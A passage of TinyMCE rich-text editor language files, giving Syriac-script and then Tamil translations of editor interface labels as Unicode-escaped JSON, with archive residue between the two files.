\u0720\u0723\u0721\u0720\u0710",
"Visual aids": "\u0725\u0718\u0715\u072a\u0308\u0722\u0710
\u0721\u072c\u071a\u0719\u071d\u0722\u0308\u0710",
"Lower Greek": "\u071d\u0718\u0722\u0722\u071d\u0710
\u072c\u071a\u072c\u071d\u0710",
"Square": "\u0721\u072a\u0712\u0725\u0710",
"Default": "\u0726\u072a\u071d\u072b\u0710",
"Lower Alpha": "\u0710\u0720\u0726\u0712\u071d\u072c
\u072c\u071a\u072c\u071d\u0308\u0710",
"Circle": "\u071a\u0718\u0715\u072a\u0710",
"Disc": "\u0729\u0712\u0742\u0722\u0710",
"Upper Alpha": "\u0710\u0720\u0726\u0712\u071d\u072c
\u0725\u0720\u071d\u072c\u0710",
"Upper Roman": "\u072a\u0718\u0721\u0722
\u0725\u0720\u071d\u072c\u0710",
"Lower Roman": "\u072a\u0718\u0721\u0722
\u072c\u071a\u072c\u071d\u072c\u0710",
"Name": "\u072b\u0721\u0710",
"Anchor": "\u0721\u072a\u0723\u0710",
"You have unsaved changes are you sure you want to navigate
away?": "\u0720\u0710 \u071d\u0718\u072c
\u071a\u0718\u0721\u071d\u0710
\u0720\u072b\u0718\u071a\u0720\u0726\u0308\u0710\u060c \u071d\u0718\u072c
\u071a\u072c\u071d\u072c\u0710 \u0715\u0712\u0725\u072c
\u0726\u0720\u071b\u072c\u061f",
"Restore last draft": "\u071a\u0721\u071d
\u0720\u0721\u0718\u071f\u0721\u072c\u0710
\u071a\u072a\u071d\u072c\u0710",
"Special character": "\u0710\u072c\u0718\u072c\u0710
\u0715\u071d\u0720\u0722\u071d\u072c\u0710",
"Source code": "\u071f\u0718\u0715\u0710
\u0715\u0721\u0712\u0718\u0725\u0710",
"Right to left": "\u071d\u0721\u071d\u0722\u0710
\u0720\u0723\u0721\u0720\u0710",
"Left to right": "\u0723\u0721\u0720\u0710
\u0720\u071d\u0721\u071d\u0722\u0710",
"Emoticons": "\u072a\u0308\u0721\u0719\u0710
\u0722\u0712\u0742\u0717\u071d\u0308\u0710",
"Robots": "\u072a\u0718\u0712\u0718\u072c\u0308\u0710",
"Document properties":
"\u0715\u071d\u0720\u071d\u072c\u0308\u0710
\u0715\u0710\u072b\u071b\u072a\u0308\u0710",
"Title": "\u0721\u0718\u0722\u0725\u0710",
"Keywords": "\u071a\u0712\u072a\u0308\u0710
\u0715\u0729\u0715\u071d\u0720\u0710",
"Encoding":
"\u0721\u072c\u072a\u0721\u0719\u0718\u072c\u0710",
"Description":
"\u0710\u072a\u071d\u071f\u0742\u0718\u072c\u0710",
"Author": "\u0723\u071d\u0718\u0721\u0710",
"Fullscreen": "\u072b\u072b\u072c\u0710
\u0721\u0720\u071d\u072c\u0710",
"Horizontal line": "\u0723\u072a\u071b\u0710
\u0710\u0718\u0726\u0729\u071d\u0710",
"Horizontal space":
"\u0723\u0726\u071d\u0729\u0718\u072c\u0710
\u0710\u0718\u0726\u0729\u071d\u072c\u0710",
"Insert\/edit image":
"\u0721\u0725\u0712\u0742\u072a\/\u072b\u071a\u0720\u0726
\u0720\u0728\u0718\u072a\u072c\u0710",
"General": "\u0713\u0718\u0722\u071d\u0710",
"Advanced": "\u0721\u072b\u0718\u072b\u071b\u0710",
"Source": "URL",
"Border": "\u072c\u071a\u0718\u0721\u0308\u0710",
"Constrain proportions":
"\u0712\u071d\u072c\u071d\u0718\u072c\u0710
\u0715\u0721\u0729\u0718\u0715\u0722\u0718\u072c\u0710",
"Vertical space":
"\u0723\u0726\u071d\u0729\u0718\u072c\u0710
\u0725\u0721\u0718\u0715\u071d\u072c\u0710",
"Image description":
"\u0710\u072a\u071d\u071f\u0742\u0718\u072c\u0710
\u0715\u0728\u0718\u072a\u072c\u0710",
"Style": "\u0710\u0723\u071f\u071d\u0721\u0710",
"Dimensions": "\u072a\u071a\u0729\u0718\u072c\u0710",
"Insert image": "\u0721\u0725\u0712\u0742\u072a
\u0728\u0718\u072a\u072c\u0710",
"Insert date\/time": "\u0721\u0725\u0712\u0742\u072a
\u0723\u071d\u0729\u0718\u0721\u0710\/\u0725\u0715\u0722\u0710",
"Remove link": "\u072b\u071d\u0718\u0726
\u0720\u0710\u0723\u072a\u0710",
"Url": "Url",
"Text to display": "\u0728\u071a\u071a\u0710
\u0720\u0721\u071a\u0719\u0718\u071d\u0710",
"Insert link": "\u0721\u0725\u0712\u0742\u072a
\u0710\u0723\u072a\u0710",
"New window": "\u0718\u071d\u0722\u0715\u0718\u0719
\u071a\u0715\u072c\u072c\u0710",
"None": "\u0717\u071d\u071f\u0330 \u071a\u0715",
"Target": "\u0722\u071d\u072b\u0710",
"Insert\/edit link":
"\u0721\u0725\u0712\u0742\u072a\/\u0723\u071d\u0721\u072c\u0710
\u0715\u0710\u0723\u072a\u0710",
"Insert\/edit video":
"\u0721\u0725\u0712\u0742\u072a\/\u0723\u071d\u0721\u072c\u0710
\u0715\u0712\u0742\u071d\u0715\u071d\u0718",
"Poster":
"\u072b\u0718\u072c\u0726\u071d\u072c\u0308\u0710",
"Alternative source": "\u0721\u0712\u0718\u0725\u0710
\u072c\u071a\u0720\u0718\u0726\u0710",
"Paste your embed code below:": "\u0715\u0712\u072b
\u071f\u0718\u0715\u0710 \u071a\u0712\u0742\u071d\u072b\u0710
\u0712\u0710\u0720\u072c\u071a\u072c:",
"Insert video": "\u0721\u0725\u0712\u0742\u072a
\u0712\u0742\u071d\u0715\u071d\u0718",
"Embed": "\u071a\u0712\u0742\u0718\u072b",
"Nonbreaking space": "\u0720\u071d\u072c
\u0729\u071b\u0725\u072c\u0710
\u0715\u0723\u0726\u071d\u0729\u0718\u072c\u0710",
"Preview": "\u071a\u071d\u072a\u072c\u0710",
"Print": "\u071b\u0712\u0742\u0725\u072c\u0710",
"Save": "\u071a\u0721\u071d\u072c\u0710",
"Could not find the specified string.": "\u0720\u0710
\u0721\u0728\u0710 \u0720\u0717 \u0721\u072b\u071f\u0330\u0718\u071a\u0710
\u072b\u072b\u0720\u072c\u0710 \u072c\u0718\u071a\u0721\u072c\u0710",
"Replace": "\u072b\u071a\u0720\u0726",
"Next": "\u0712\u072c\u0742\u072a\u0717",
"Whole words": "\u071f\u0720\u071d\u0717\u071d
\u071a\u0712\u072a\u0308\u0710",
"Find and replace": "\u0721\u072b\u071f\u0330\u071a
\u0718\u072b\u071a\u0720\u0726",
"Replace with": "\u072b\u071a\u0720\u0726
\u0712\u071d\u0715",
"Find": "\u0721\u072b\u071f\u0330\u071a",
"Replace all": "\u072b\u071a\u0720\u0726
\u071f\u0720\u071d\u0717\u071d",
"Match case":
"\u0713\u0718\u072a\u072c\u0710\/\u0719\u0725\u072a\u072c\u0710
",
"Prev": "\u0715\u0725\u0712\u0742\u072a",
"Spellcheck": "\u0728\u071a\u0728\u071d\u072c\u0710
\u0715\u0717\u0718\u0713\u071d\u0710",
"Finish": "\u0726\u072a\u0729\u0710",
"Ignore all": "\u0710\u0717\u0721\u071d
\u071f\u0720\u071d\u0717\u071d",
"Ignore": "Ign\u0725\u0715\u0722\u0710",
"Insert row before": "\u0721\u0725\u0712\u0742\u072a
\u0713\u0330\u072a\u0713\u0710 \u0721\u0729\u0715\u0747\u0721",
"Rows": "Righe",
"Height": "\u071d\u0721\u071d\u0722\u0710",
"Paste row after": "\u0715\u0712\u072b
\u0713\u0330\u072a\u0713\u0710 \u0712\u072c\u072a",
"Alignment":
"\u0721\u0713\u0330\u072a\u0713\u0722\u072c\u0710",
"Column group": "\u071f\u0718\u0722\u072b\u0710
\u0715\u0725\u0721\u0718\u0715\u0710",
"Row": "\u0713\u0330\u072a\u0713\u0710",
"Insert column before": "\u0721\u0725\u0712\u0742\u072a
\u0725\u0721\u0718\u0715\u0710 \u0721\u0729\u0715\u0721",
"Split cell": "\u0712\u072a\u0712\u0719
\u0720\u0729\u0720\u071d\u072c\u0710",
"Cell padding": "\u0721\u0720\u071d\u072c\u0710
\u0715\u0729\u0720\u071d\u072c\u0710",
"Cell spacing": "\u0723\u0726\u071d\u0729\u0718\u072c\u0710
\u0715\u0729\u0720\u071d\u072c\u0710",
"Row type": "\u0710\u0715\u072b\u0710
\u0715\u0713\u0330\u072a\u0713\u0710",
"Insert table": "\u0721\u0725\u0712\u0742\u072a
\u0720\u071b\u0712\u0720\u0710",
"Body": "\u0726\u0713\u073c\u072a\u0735\u0710",
"Caption": "\u0712\u072a\u072b\u0721\u0710",
"Footer": "\u0710\u0729\u0726\u072c\u0742\u0710",
"Delete row": "\u072b\u0718\u0726
\u0720\u0713\u0330\u072a\u0713\u0710",
"Paste row before": "\u0715\u0712\u072b
\u0713\u0330\u072a\u0713\u0710 \u0721\u0729\u0715\u0721",
"Scope": "\u071a\u0729\u0720\u0710",
"Delete table": "\u072b\u0718\u0726
\u0720\u071b\u0712\u0720\u0710",
"Header cell": "\u0729\u0720\u071d\u072c\u0710
\u0715\u072a\u072b\u0710",
"Column": "\u0725\u0721\u0718\u0715\u0710",
"Cell": "\u0729\u0720\u071d\u072c\u0710",
"Header": "\u072a\u072b\u0710",
"Cell type": "\u0710\u0715\u072b\u0710
\u0715\u0729\u0720\u071d\u072c\u0710",
"Copy row": "\u0722\u0723\u0718\u071f\u0742
\u0713\u0330\u072a\u0713\u0710",
"Row properties":
"\u0715\u071d\u0720\u071d\u072c\u0308\u0710
\u0715\u0713\u072a\u0713\u0710",
"Table properties":
"\u0715\u071d\u0720\u071d\u072c\u0308\u0710
\u0715\u071b\u0712\u0720\u0710",
"Row group": "\u071f\u0718\u0722\u072b\u0710
\u0715\u0713\u0330\u072a\u0713\u0710",
"Right": "\u071d\u0721\u071d\u0722\u0710",
"Insert column after": "\u0721\u0725\u0712\u0742\u072a
\u0725\u0721\u0718\u0715\u0710 \u0712\u072c\u072a",
"Cols": "\u0725\u0721\u0718\u0715\u0308\u0710",
"Insert row after": "\u0721\u0725\u0712\u0742\u072a
\u0713\u0330\u072a\u0713\u0710 \u0712\u072c\u072a",
"Width":
"\u0726\u072c\u0742\u071d\u0718\u072c\u0742\u0710",
"Cell properties":
"\u0715\u071d\u0720\u071d\u072c\u0308\u0710
\u0715\u0729\u0720\u071d\u072c\u0710",
"Left": "\u0723\u0721\u0720\u0710",
"Cut row": "\u0729\u0718\u0728
\u0713\u0330\u072a\u0713\u0710",
"Delete column": "\u072b\u0718\u0726
\u0725\u0721\u0718\u0715\u0710",
"Center": "\u0726\u0720\u0713\u0710",
"Merge cells": "\u071a\u071d\u0715
\u0729\u0720\u071d\u072c\u0308\u0710",
"Insert template": "\u0721\u0725\u0712\u0742\u072a
\u0729\u0720\u0712\u0742\u0710",
"Templates": "\u0729\u0720\u0712\u0742\u0710",
"Background color": "\u0713\u0718\u0722\u0710
\u0715\u0712\u072c\u072a\u071d\u0718\u072c\u0710",
"Text color": "\u0713\u0718\u0722\u0710
\u0715\u0728\u071a\u071a\u0710",
"Show blocks": "\u0721\u071a\u0719\u071d
\u0720\u0713\u0718\u072b\u0721\u0710",
"Show invisible characters": "\u0721\u071a\u0719\u071d
\u0720\u0710\u072c\u0718\u072c\u0308\u0710 \u0720\u0710
\u0721\u072c\u071a\u0719\u071d\u0722\u0308\u0710",
"Words: {0}": "{0} :\u071a\u0712\u072a\u0308\u0710",
"Insert": "\u0721\u0725\u0712\u0742\u072a",
"File": "\u071f\u0722\u0726\u072a\u0710",
"Edit": "\u0723\u071d\u0721\u072c\u0710",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar.
Press ALT-0 for help":"\u0729\u0710
\u0719\u0718\u0720\u0721\u0710\u0722\u0710 \u0729\u0710
\u0725\u0718\u0715\u072a\u0722\u0710 ALT-F10 \u0729\u0710
\u0720\u0718\u071a\u071d\u072c\u0710. \u0715\u0718\u072b ALT-F9
\u0715\u0718\u072b  .Rich Text Area \u0726\u0722\u071d\u072c\u0710
\u0715",
"Tools": "\u0719\u0718\u0720\u0721\u0710\u0722\u0710",
"View": "\u071a\u0719\u071d\u072c\u0710",
"Table": "\u071b\u0712\u0720\u0710",
"Format": "\u0710\u0723\u071f\u071d\u0721\u0710",
"Inline": "\u0725\u0720
\u0713\u0330\u072a\u0713\u0710",
"Blocks": "\u0713\u0718\u072b\u0721\u0710",
"Edit image": "\u0723\u071d\u0721\u072c\u0710
\u0715\u0728\u0718\u072a\u072c\u0710",
"Font Family": "\u071f\u0720\u0726\u072c
\u0715\u0726\u032e\u0718\u0722\u072c",
"Font Sizes": "\u072a\u0308\u0712\u0718\u072c\u0710
\u0715\u0726\u032e\u0718\u0722\u072c",
"Paragraph":
"\u0726\u072c\u0742\u0713\u073c\u0721\u0710",
"Address": "\u0721\u0718\u0722\u0725\u0710",
"Pre":
"\u0721\u072c\u0729\u0720\u0712\u0742\u0722\u0718\u072c\u0710
\u0729\u0715\u0747\u0721\u072c\u0710",
"Code": "\u071f\u0718\u0715\u0710",
"Headers": "\u072a\u0308\u072b\u0722\u0710",
"Header 1": "\u072a\u072b\u0710 1",
"Header 2": "\u072a\u072b\u0710 2",
"Header 3": "\u072a\u072b\u0710 3",
"Header 4": "\u072a\u072b\u0710 4",
"Header 5": "\u072a\u072b\u0710 5",
"Header 6": "\u072a\u072b\u0710 6",
"Insert Time": "\u0721\u0725\u0712\u0742\u072a
\u0725\u0715\u0722\u0710",
"Insert nonbreaking space": "\u0721\u0725\u0712\u0742\u072a
\u0723\u0726\u071d\u0729\u0718\u072c\u0710 \u0720\u0710
\u072c\u0712\u0742\u071d\u072a\u072c\u0710",
"Toggle blockquote": "\u072b\u071a\u0720\u0726
\u0720\u0713\u0718\u072b\u0721\u072c\u0742
\u072b\u0729\u0720\u072c\u0710",
"The URL you entered seems to be an external link. Do you want to add
the required http:\/\/ prefix?": "http:\/\/ prefix?
\u0715\u0721\u0718\u0725\u0712\u0742\u072a\u0718\u071f\u0742
\u0721\u0712\u071d\u0718\u0722\u0710 \u071d\u0720\u0717
\u0715\u0717\u0307\u0718 \u071a\u0715 \u0710\u0723\u072a\u0710
\u0712\u072a\u071d\u0710 \u071d\u0720\u0717. \u0712\u0725\u072c
\u072c\u0718\u0723\u0726\u072c URL",
"The URL you entered seems to be an email address. Do you want to add
the required mailto: prefix?": "mailto: prefix?
\u0715\u0721\u0718\u0725\u0712\u0742\u072a\u0718\u071f\u073c
\u0721\u0712\u071d\u0718\u0722\u0710 \u071d\u0720\u0717
\u0715\u0717\u0307\u0718 \u071d\u0720\u0717 \u0721\u0718\u0722\u0725\u0710
\u0715\u0712\u071d\u0720\u0715\u072a\u0710
\u0710\u0720\u071f\u072c\u072a\u0718\u0722\u071d\u0710. \u0712\u0725\u072c
\u072c\u0718\u0723\u0726\u072c \u0720\u071b\u0720\u0712\u072c\u0710 
URL",
"_dir": "rtl"
});PKR��[��;N__tinymce/langs/ta.jsnu�[���tinymce.addI18n('ta',{
"Cut": "\u0bb5\u0bc6\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Heading 5": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
5",
"Header 2": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
2",
"Your browser doesn't support direct access to the clipboard.
Please use the Ctrl+X\/C\/V keyboard shortcuts instead.":
"\u0ba8\u0b95\u0bb2\u0b95\u0ba4\u0bcd\u0ba4\u0bbf\u0bb1\u0bcd\u0b95\u0bc1
\u0ba8\u0bc7\u0bb0\u0b9f\u0bbf \u0b85\u0ba3\u0bc1\u0b95\u0bb2\u0bc8
\u0ba4\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b89\u0bb2\u0bbe\u0bb5\u0bbf
\u0b86\u0ba4\u0bb0\u0bbf\u0b95\u0bcd\u0b95\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8.
\u0b86\u0b95\u0bb5\u0bc7
\u0bb5\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0bb2\u0b95\u0bc8
\u0b95\u0bc1\u0bb1\u0bc1\u0b95\u0bcd\u0b95\u0bc1\u0bb5\u0bb4\u0bbf\u0b95\u0bb3\u0bbe\u0ba9
Ctrl+X\/C\/V \u0b87\u0bb5\u0bb1\u0bcd\u0bb1\u0bc8 \u0ba4\u0baf\u0bb5\u0bc1
\u0b9a\u0bc6\u0baf\u0bcd\u0ba4\u0bc1
\u0baa\u0baf\u0ba9\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95.",
"Heading 4": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
4",
"Div": "\u0baa\u0bbf\u0bb0\u0bbf\u0bb5\u0bc1 (Div)",
"Heading 2": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
2",
"Paste": "\u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Close": "\u0bae\u0bc2\u0b9f\u0bc1\u0b95",
"Font Family":
"\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1
\u0b95\u0bc1\u0b9f\u0bc1\u0bae\u0bcd\u0baa\u0bae\u0bcd",
"Pre": "\u0bae\u0bc1\u0ba9\u0bcd
\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0ba4\u0bc1
(Pre)",
"Align right": "\u0bb5\u0bb2\u0ba4\u0bc1
\u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"New document": "\u0baa\u0bc1\u0ba4\u0bbf\u0baf
\u0b86\u0bb5\u0ba3\u0bae\u0bcd",
"Blockquote": "\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf
\u0bae\u0bc7\u0bb1\u0bcd\u0b95\u0bcb\u0bb3\u0bcd",
"Numbered list":
"\u0b8e\u0ba3\u0bcd\u0ba3\u0bbf\u0b9f\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f
\u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
"Heading 1": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
1",
"Headings":
"\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Increase indent":
"\u0b89\u0bb3\u0bcd\u0ba4\u0bb3\u0bcd\u0bb3\u0bc1\u0ba4\u0bb2\u0bc8
\u0b85\u0ba4\u0bbf\u0b95\u0bb0\u0bbf\u0b95\u0bcd\u0b95",
"Formats":
"\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Headers":
"\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Select all":
"\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc8\u0baf\u0bc1\u0bae\u0bcd
\u0ba4\u0bc7\u0bb0\u0bcd\u0bb5\u0bc1 \u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Header 3": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
3",
"Blocks":
"\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf\u0b95\u0bb3\u0bcd",
"Undo":
"\u0bae\u0bc1\u0ba9\u0bcd\u0b9a\u0bc6\u0baf\u0bb2\u0bcd
\u0ba8\u0bc0\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Strikethrough":
"\u0ba8\u0b9f\u0bc1\u0b95\u0bcd\u0b95\u0bcb\u0b9f\u0bc1",
"Bullet list":
"\u0baa\u0bca\u0b9f\u0bcd\u0b9f\u0bbf\u0b9f\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f
 \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bcd",
"Header 1": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
1",
"Superscript":
"\u0bae\u0bc7\u0bb2\u0bcd\u0b92\u0b9f\u0bcd\u0b9f\u0bc1",
"Clear formatting":
"\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0baa\u0bcd\u0baa\u0bc1
\u0b85\u0bb4\u0bbf\u0b95\u0bcd\u0b95",
"Font Sizes":
"\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1
\u0b85\u0bb3\u0bb5\u0bc1\u0b95\u0bb3\u0bcd",
"Subscript":
"\u0b95\u0bc0\u0bb4\u0bcd\u0b92\u0b9f\u0bcd\u0b9f\u0bc1",
"Header 6": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
6",
"Redo": "\u0bae\u0bc0\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd
\u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Paragraph": "\u0baa\u0ba4\u0bcd\u0ba4\u0bbf",
"Ok": "\u0b9a\u0bb0\u0bbf",
"Bold": "\u0ba4\u0b9f\u0bbf\u0baa\u0bcd\u0baa\u0bc1",
"Code":
"\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1",
"Italic": "\u0b9a\u0bbe\u0baf\u0bcd\u0bb5\u0bc1",
"Align center": "\u0bae\u0bc8\u0baf
\u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Header 5": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
5",
"Heading 6": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
6",
"Heading 3": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
3",
"Decrease indent":
"\u0b89\u0bb3\u0bcd\u0ba4\u0bb3\u0bcd\u0bb3\u0bc1\u0ba4\u0bb2\u0bc8
\u0b95\u0bc1\u0bb1\u0bc8\u0b95\u0bcd\u0b95",
"Header 4": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1
4",
"Paste is now in plain text mode. Contents will now be pasted as plain
text until you toggle this option off.":
"\u0b87\u0baf\u0bb2\u0bcd\u0baa\u0bc1 \u0b89\u0bb0\u0bc8
\u0bae\u0bc1\u0bb1\u0bc8\u0bae\u0bc8\u0baf\u0bbf\u0bb2\u0bcd
\u0ba4\u0bb1\u0bcd\u0baa\u0bcb\u0ba4\u0bc1
\u0b92\u0b9f\u0bcd\u0b9f\u0bc1\u0ba4\u0bb2\u0bcd
\u0b89\u0bb3\u0bcd\u0bb3\u0ba4\u0bc1.
\u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b87\u0ba8\u0bcd\u0ba4
\u0bb5\u0bbf\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bc8
\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0bb5\u0bb0\u0bc8
\u0b89\u0bb3\u0bcd\u0bb3\u0b9f\u0b95\u0bcd\u0b95\u0b99\u0bcd\u0b95\u0bb3\u0bcd
\u0b87\u0baf\u0bb2\u0bcd\u0baa\u0bc1 \u0b89\u0bb0\u0bc8\u0baf\u0bbe\u0b95
\u0b92\u0b9f\u0bcd\u0b9f\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0bae\u0bcd.",
"Underline":
"\u0b85\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bcb\u0b9f\u0bc1",
"Cancel": "\u0bb0\u0ba4\u0bcd\u0ba4\u0bc1
\u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Justify": "\u0ba8\u0bc7\u0bb0\u0bcd\u0ba4\u0bcd\u0ba4\u0bbf
\u0b9a\u0bc6\u0baf\u0bcd\u0b95",
"Inline":
"\u0b89\u0bb3\u0bcd\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8",
"Copy":
"\u0ba8\u0b95\u0bb2\u0bc6\u0b9f\u0bc1\u0b95\u0bcd\u0b95",
"Align left": "\u0b87\u0b9f\u0ba4\u0bc1
\u0b9a\u0bc0\u0bb0\u0bae\u0bc8",
"Visual aids":
"\u0b95\u0bbe\u0b9f\u0bcd\u0b9a\u0bbf\u0ba4\u0bcd
\u0ba4\u0bc1\u0ba3\u0bc8\u0baf\u0ba9\u0bcd\u0b95\u0bb3\u0bcd",
"Lower Greek": "\u0b95\u0bc0\u0bb4\u0bcd
\u0b95\u0bbf\u0bb0\u0bc7\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"Square": "\u0b9a\u0ba4\u0bc1\u0bb0\u0bae\u0bcd",
"Default":
"\u0b89\u0bb3\u0bcd\u0bb3\u0bbf\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bc1",
"Lower Alpha": "\u0b95\u0bc0\u0bb4\u0bcd
\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"Circle": "\u0bb5\u0b9f\u0bcd\u0b9f\u0bae\u0bcd",
"Disc": "\u0bb5\u0b9f\u0bcd\u0b9f\u0bc1",
"Upper Alpha": "\u0bae\u0bc7\u0bb2\u0bcd
\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"Upper Roman": "\u0bae\u0bc7\u0bb2\u0bcd
\u0bb0\u0bcb\u0bae\u0bbe\u0ba9\u0bbf\u0baf\u0bae\u0bcd",
"Lower Roman": "\u0b95\u0bc0\u0bb4\u0bcd
\u0bb0\u0bcb\u0bae\u0bbe\u0ba9\u0bbf\u0baf\u0bae\u0bcd",
"Id should start with a letter, followed only by letters, numbers,
dashes, dots, colons or underscores.": "Id
\u0b86\u0ba9\u0ba4\u0bc1 \u0b92\u0bb0\u0bc1
\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0bb2\u0bcd
\u0ba4\u0bca\u0b9f\u0b99\u0bcd\u0b95
\u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd;
\u0b87\u0ba4\u0ba9\u0bc8\u0ba4\u0bcd
\u0ba4\u0bca\u0b9f\u0bb0\u0bcd\u0ba8\u0bcd\u0ba4\u0bc1
\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd,
\u0b8e\u0ba3\u0bcd\u0b95\u0bb3\u0bcd,
\u0b87\u0b9f\u0bc8\u0b95\u0bcd\u0b95\u0bc7\u0bbe\u0b9f\u0bc1\u0b95\u0bb3\u0bcd
(-), \u0baa\u0bc1\u0bb3\u0bcd\u0bb3\u0bbf\u0b95\u0bb3\u0bcd (.),
\u0bae\u0bc1\u0b95\u0bcd\u0b95\u0bbe\u0bb1\u0bcd\u0baa\u0bc1\u0bb3\u0bcd\u0bb3\u0bbf\u0b95\u0bb3\u0bcd
(:) \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd
\u0b85\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bc7\u0bbe\u0b9f\u0bc1\u0b95\u0bb3\u0bcd
(_) \u0bae\u0b9f\u0bcd\u0b9f\u0bc1\u0bae\u0bc7
\u0b87\u0bb0\u0bc1\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd
\u0bb5\u0bc7\u0ba3\u0bcd\u0b9f\u0bc1\u0bae\u0bcd.",
"Name": "\u0baa\u0bc6\u0baf\u0bb0\u0bcd",
"Anchor":
"\u0ba8\u0b99\u0bcd\u0b95\u0bc2\u0bb0\u0bae\u0bcd",
"Id": "Id",
"You have unsaved changes are you sure you want to navigate
away?":
"\u0b9a\u0bc7\u0bae\u0bbf\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bbe\u0ba4
\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0b99\u0bcd\u0b95\u0bb3\u0bcd
\u0b89\u0bb3\u0bcd\u0bb3\u0ba9; \u0ba4\u0bbe\u0b99\u0bcd\u0b95\u0bb3\u0bcd
\u0b89\u0bb1\u0bc1\u0ba4\u0bbf\u0baf\u0bbe\u0b95
\u0bb5\u0bc6\u0bb3\u0bbf\u0baf\u0bc7\u0bb1
\u0bb5\u0bbf\u0bb0\u0bc1\u0bae\u0bcd\u0baa\u0bc1\u0b95\u0bbf\u0bb1\u0bc0\u0bb0\u0bcd\u0b95\u0bbe\u0bb3\u0bbe?",
"Restore last draft": "\u0b95\u0b9f\u0ba8\u0bcd\u0ba4
\u0bb5\u0bb0\u0bc8\u0bb5\u0bc8
\u0bae\u0bc0\u0b9f\u0bcd\u0b9f\u0bc6\u0b9f\u0bc1\u0b95\u0bcd\u0b95",
"Special character":
"\u0b9a\u0bbf\u0bb1\u0baa\u0bcd\u0baa\u0bc1
\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1",
"Source code": "\u0bae\u0bc2\u0bb2
\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1",
"Language": "\u0bae\u0bca\u0bb4\u0bbf",
"Insert\/Edit code sample":
"\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1
\u0bae\u0bbe\u0ba4\u0bbf\u0bb0\u0bbf
\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"B": "B",
"R": "R",
"G": "G",
"Color": "\u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Right to left":
